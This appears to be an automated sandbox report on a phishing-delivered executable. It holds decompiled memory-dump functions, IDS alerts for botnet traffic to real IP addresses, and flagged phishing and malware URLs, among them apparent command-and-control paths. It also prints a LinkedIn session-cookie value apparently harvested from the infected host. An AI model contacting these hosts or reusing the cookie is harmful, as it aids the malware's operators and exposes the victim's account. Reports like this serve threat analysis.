			E33470485(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _t50;
				intOrPtr* _t51;
				intOrPtr* _t73;
				intOrPtr _t76;
				char _t84;
				void* _t85;
				intOrPtr _t86;
				intOrPtr* _t89;

				_t89 = __ecx;
				_t76 =  *[fs:0x30];
				_t73 =  *0x33566630; // 0x0
				_v32 = 0;
				_v28 = 0;
				_v8 = 0;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(__ecx + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(__ecx + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				_v12 = _t76;
				 *((intOrPtr*)(__ecx + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t84 = 0;
				if(_t73 == 0) {
					_t73 = E334782E0(0xabababab, 0, "kLsE", 0);
					 *0x33566630 = _t73;
					if(_t73 != 0) {
						goto L1;
					}
					L4:
					_t85 = _t84 - 1;
					if(_t85 == 0) {
						 *((intOrPtr*)(_t89 + 8)) = 2;
						 *((intOrPtr*)(_t89 + 0xc)) = 0x23f0;
						L19:
						 *((intOrPtr*)(_t89 + 4)) = 6;
						L6:
						_t86 = _v12;
						_t51 =  *((intOrPtr*)(_t86 + 0x1f4));
						if(_t51 == 0 ||  *_t51 == 0) {
							L8:
							 *((short*)(_t89 + 0x14)) = 0;
							goto L9;
						} else {
							_t38 = _t89 + 0x14; // 0x130
							if(L33495C3F(_t38, 0x100, _t51) >= 0) {
								L9:
								if( *_t89 != 0x11c) {
									if( *_t89 != 0x124) {
										L16:
										return 0;
									}
								}
								 *((short*)(_t89 + 0x114)) =  *(_t86 + 0xaf) & 0x000000ff;
								 *(_t89 + 0x116) =  *(_t86 + 0xae) & 0x000000ff;
								 *(_t89 + 0x118) = E33470670();
								if( *_t89 == 0x124) {
									 *(_t89 + 0x11c) = E33470670() & 0x0001ffff;
								}
								 *((char*)(_t89 + 0x11a)) = 0;
								if(E33470630( &_v16) != 0) {
									 *((char*)(_t89 + 0x11a)) = _v16;
								}
								E334B5050(0xff,  &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
								_push( &_v24);
								_push("true");
								_push( &_v8);
								_push( &_v20);
								_push( &_v32);
								if(L334B3EE0() >= 0) {
									if(_v8 == 1) {
										if(_v20 != 4 || _v24 != 4) {
											goto L15;
										} else {
											goto L16;
										}
									}
									L15:
									 *(_t89 + 0x118) =  *(_t89 + 0x118) & 0x0000ffef;
									if( *_t89 == 0x124) {
										 *(_t89 + 0x11c) =  *(_t89 + 0x11c) & 0x0001ffef;
									}
								}
								goto L16;
							}
							goto L8;
						}
					}
					if(_t85 == 1) {
						 *((intOrPtr*)(_t89 + 8)) = 3;
						 *((intOrPtr*)(_t89 + 0xc)) = 0x2580;
						goto L19;
					}
					goto L6;
				}
				L1:
				if(_t73 != E33470690) {
					 *0x335691e0();
					_t50 =  *_t73();
				} else {
					_t50 = E33470690();
				}
				_t84 = _t50;
				goto L4;
			}

0x3347048f
0x33470493
0x3347049a
0x334704a0
0x334704a3
0x334704a6
0x334704af
0x334704b8
0x334704c2
0x334704cb
0x334704ce
0x334704d2
0x334704d6
0x3347060e
0x33470610
0x33470618
0x00000000
0x00000000
0x334704ef
0x334704ef
0x334704f2
0x334705e3
0x334705ea
0x334705f1
0x334705f1
0x33470501
0x33470501
0x33470504
0x3347050c
0x33470519
0x3347051b
0x00000000
0x334ce99c
0x334ce9a2
0x334ce9ac
0x3347051f
0x3347052a
0x334ce9b9
0x334705cd
0x334705d3
0x334705d3
0x334ce9bf
0x3347053c
0x3347054d
0x33470559
0x33470562
0x334ce9ce
0x334ce9ce
0x3347056a
0x3347057b
0x33470580
0x33470580
0x3347058f
0x33470597
0x33470598
0x3347059d
0x334705a1
0x334705a5
0x334705ad
0x334705b3
0x334ce9dd
0x00000000
0x334ce9ed
0x00000000
0x334ce9ed
0x334ce9dd
0x334705b9
0x334705be
0x334705c7
0x334ce9f2
0x334ce9f2
0x334705c7
0x00000000
0x334705ad
0x00000000
0x334ce9b2
0x3347050c
0x334704fb
0x334ce989
0x334ce990
0x00000000
0x334ce990
0x00000000
0x334704fb
0x334704dc
0x334704e2
0x334705d6
0x334705dc
0x334704e8
0x334704e8
0x334704e8
0x334704ed
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 334705D6

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 33470586
kLsE, xrefs: 334705FE

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: ba7943d5dc5cddf75be09fe41ae606785fd5206a3fb43b6a42375ef30c67cf7a
Instruction ID: e4137deb72bc5544500a2aaf44ed52f37fd69965a4b37001533736ee37e10e59
Opcode Fuzzy Hash: ba7943d5dc5cddf75be09fe41ae606785fd5206a3fb43b6a42375ef30c67cf7a
Instruction Fuzzy Hash: 7551BDB5A02746DFE760DFA4C4406EAB7F8AF04340F04483ED5A5D3650EB78D546CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 3346E67A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E3346E67A(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr* _a8, char _a12) {
				void* _t29;
				intOrPtr _t31;
				intOrPtr* _t40;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t50;
				intOrPtr _t57;
				intOrPtr _t60;
				char _t63;
				signed int _t66;
				signed int _t67;
				signed int _t71;

				_t65 = __edx;
				_t48 = __ecx;
				_push("true");
				_pop(_t29);
				_t63 = 0;
				_t66 =  *(__ecx + 0x36) & 0x0000ffff;
				if( *__edx != _t29) {
					if( *__edx == 4) {
						_t67 = _t66 & 0x00003fff;
						if(_t67 == _t29 || _t67 == 2) {
							_t50 = _a4;
							asm("cdq");
							 *_t50 =  *((intOrPtr*)(_t48 + 0x30));
							 *((intOrPtr*)(_t50 + 4)) = _t63;
							_t31 = L334AFF50(_t65);
							_t63 = 1;
							 *_a8 = _t31;
							_t22 =  &_a12; // 0x3346e65e
							 *((char*)( *_t22)) = 1;
						}
						L7:
						return _t63;
					}
					if((_t66 & 0x00003fff) !=  *__edx) {
						if((_t66 & 0x00003fff) == 0xa &&  *__edx == 7 &&  *((intOrPtr*)(__edx + 0x24)) ==  *((intOrPtr*)( *[fs:0x18] + 0x20))) {
							 *0x335691e0(__edx,  *((intOrPtr*)(__ecx + 0x20)));
							 *_a8 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x1c))))();
							_t28 =  &_a12; // 0x3346e65e
							 *((char*)( *_t28)) = 1;
							L6:
							_t63 = 0;
						}
						goto L7;
					}
					asm("cdq");
					_t57 =  *((intOrPtr*)(__ecx + 0x30));
					 *((intOrPtr*)(__edx + 0x1c)) = 0;
					_t40 = _a4;
					 *((intOrPtr*)(__edx + 0x18)) = _t57;
					 *_t40 = _t57;
					 *((intOrPtr*)(_t40 + 4)) = 0;
					 *0x335691e0(__edx,  *((intOrPtr*)(__ecx + 0x20)));
					 *_a8 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x1c))))();
					L5:
					_t8 =  &_a12; // 0x3346e65e
					 *((char*)( *_t8)) = 1;
					goto L6;
				}
				_t71 = _t66 & 0x00003fff;
				if(_t71 != _t29) {
					if(_t71 == 2) {
						goto L2;
					}
					goto L7;
				}
				L2:
				if( *((intOrPtr*)(_t65 + 0x4e)) < _t63) {
					_t44 =  *0x335641d0; // 0x31405b8
					if(_t44 == 0) {
						goto L3;
					}
					_t17 = _t44 + 0x30; // 0x6c
					_t45 =  *_t17;
					L4:
					asm("cdq");
					_t60 = _t45;
					_t46 = _a4;
					 *_t46 = _t60;
					 *((intOrPtr*)(_t46 + 4)) = _t63;
					 *((intOrPtr*)(_t65 + 0x18)) = _t60;
					 *((intOrPtr*)(_t65 + 0x1c)) = _t63;
					L33470D9F(_t48, _t65);
					goto L5;
				}
				L3:
				_t45 =  *((intOrPtr*)(_t48 + 0x30));
				goto L4;
			}

0x3346e682
0x3346e684
0x3346e686
0x3346e688
0x3346e689
0x3346e68b
0x3346e691
0x3346e6d5
0x334cd929
0x334cd932
0x334cd93e
0x334cd944
0x334cd946
0x334cd948
0x334cd94b
0x334cd953
0x334cd955
0x334cd957
0x334cd95a
0x334cd95a
0x3346e6cb
0x3346e6cf
0x3346e6cf
0x3346e6e6
0x334cd968
0x334cd993
0x334cd99e
0x334cd9a0
0x334cd9a3
0x3346e6c7
0x3346e6c7
0x3346e6c7
0x00000000
0x334cd968
0x3346e6ef
0x3346e6f0
0x3346e6f2
0x3346e6f5
0x3346e6f8
0x3346e701
0x3346e706
0x3346e709
0x3346e714
0x3346e6c1
0x3346e6c1
0x3346e6c4
0x00000000
0x3346e6c4
0x3346e693
0x3346e69c
0x3346e71c
0x00000000
0x00000000
0x00000000
0x3346e71e
0x3346e69e
0x3346e6a2
0x3346e720
0x3346e727
0x00000000
0x00000000
0x3346e72d
0x3346e72d
0x3346e6a7
0x3346e6a7
0x3346e6a8
0x3346e6aa
0x3346e6ad
0x3346e6af
0x3346e6b2
0x3346e6b7
0x3346e6bc
0x00000000
0x3346e6bc
0x3346e6a4
0x3346e6a4
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 3346E709

Strings

^F3, xrefs: 334CD957, 334CD9A0, 3346E6C1

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: ^F3
API String ID: 3446177414-3165004336
Opcode ID: 92e82c528752c06651312897bf118b6ce9b05bc77d40d8540de03ac2137a1e7d
Instruction ID: 5e13cc880668a1a534075762a25c0dae1b82f2103ebe0a969a747e16d995a681
Opcode Fuzzy Hash: 92e82c528752c06651312897bf118b6ce9b05bc77d40d8540de03ac2137a1e7d
Instruction Fuzzy Hash: 2E415EB9A00341DFD715CF1AC484955BBE5FF99758B54806AE8088B370DB71E891CBA4

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.legalinmedia.online/aw8o/	Avira URL Cloud: Label: phishing
Source: https://www.openlend.lat/aw8o/?5Nag0d=JwP18BaQn2gAMbwzAk/tzHq1rHqPkgowxzXz/N2AVg5llpqPoDBUT4Fbw9qJes	Avira URL Cloud: Label: malware

Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.11.20:52617 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49984 -> 107.148.17.67:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49985 -> 96.44.182.131:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49986 -> 96.44.182.131:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49988 -> 96.44.182.131:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49989 -> 162.0.239.145:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49990 -> 162.0.239.145:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49992 -> 162.0.239.145:80
Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.11.20:51674 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49996 -> 51.79.96.115:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49997 -> 51.79.96.115:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:49999 -> 51.79.96.115:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50000 -> 169.150.247.39:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50001 -> 169.150.247.39:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50003 -> 169.150.247.39:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50004 -> 91.189.114.27:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50005 -> 91.189.114.27:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50006 -> 91.189.114.27:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50007 -> 91.189.114.27:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50008 -> 119.18.54.51:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50009 -> 119.18.54.51:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50011 -> 119.18.54.51:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50012 -> 43.154.67.170:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50013 -> 43.154.67.170:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50015 -> 43.154.67.170:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50016 -> 164.88.252.122:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50017 -> 164.88.252.122:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50019 -> 164.88.252.122:80
Source: Traffic	Snort IDS: 2844299 ETPRO TROJAN MSIL/Juliens Botnet User-Agent 192.168.11.20:50020 -> 37.140.192.187:80

Source: ipconfig.exe, 00000009.00000002.93139518061.000000000373C000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.000000000289C000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013EEC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: .www.linkedin.comTRUE/TRUE13336872580273675bscookie"v=1&202108181112191ce8ca8a-2c8f-4463-8512-6f2d1ae6da93AQFkN2vVMNQ3mpf7d5Ecg6Jz9iVIQMh2" equals www.linkedin.com (Linkedin)
Source: ipconfig.exe, 00000009.00000002.93142477578.00000000076D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
Source: ipconfig.exe, 00000009.00000002.93142477578.00000000076F6000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.00000000076D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)

Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000003.88075926633.0000000002943000.00000004.00000020.00020000.00000000.sdmp, Notice.txt.4.dr	String found in binary or memory: http://aegisknight.org/cppinterface.html
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003AE8000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002C48000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014298000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000004454000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.00000000035B4000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014C04000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://explorefreeresults.com/px.js?ch=1
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000004454000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.00000000035B4000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014C04000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://explorefreeresults.com/px.js?ch=2
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000004454000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.00000000035B4000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014C04000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://explorefreeresults.com/sk-logabpstatus.php?a=RlRzTlJUTjR0RWNWSzhIWEt6KzN3Q0tBQVVWVTB3UkNINDQ2
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: ipconfig.exe, 00000009.00000002.93139518061.00000000050E4000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000004244000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000015894000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://ishikorori.com/aw8o/?5Nag0d=TR7PSkD0vDwdj3CeOnoWOoBm
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000003.88075926633.0000000002943000.00000004.00000020.00020000.00000000.sdmp, Notice.txt.4.dr	String found in binary or memory: http://joshsmithonwpf.wordpress.com)
Source: PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: http://s.symcd.com06
Source: explorer.exe, 0000000B.00000000.89208174971.0000000003910000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.89221171128.000000000B540000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.89220357090.000000000A3C0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.foreca.com
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000003.88075926633.0000000002943000.00000004.00000020.00020000.00000000.sdmp, Notice.txt.4.dr	String found in binary or memory: http://www.galasoft.ch
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000003.88075926633.0000000002943000.00000004.00000020.00020000.00000000.sdmp, Notice.txt.4.dr	String found in binary or memory: http://www.galasoft.ch/license_MIT.txt
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000626000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
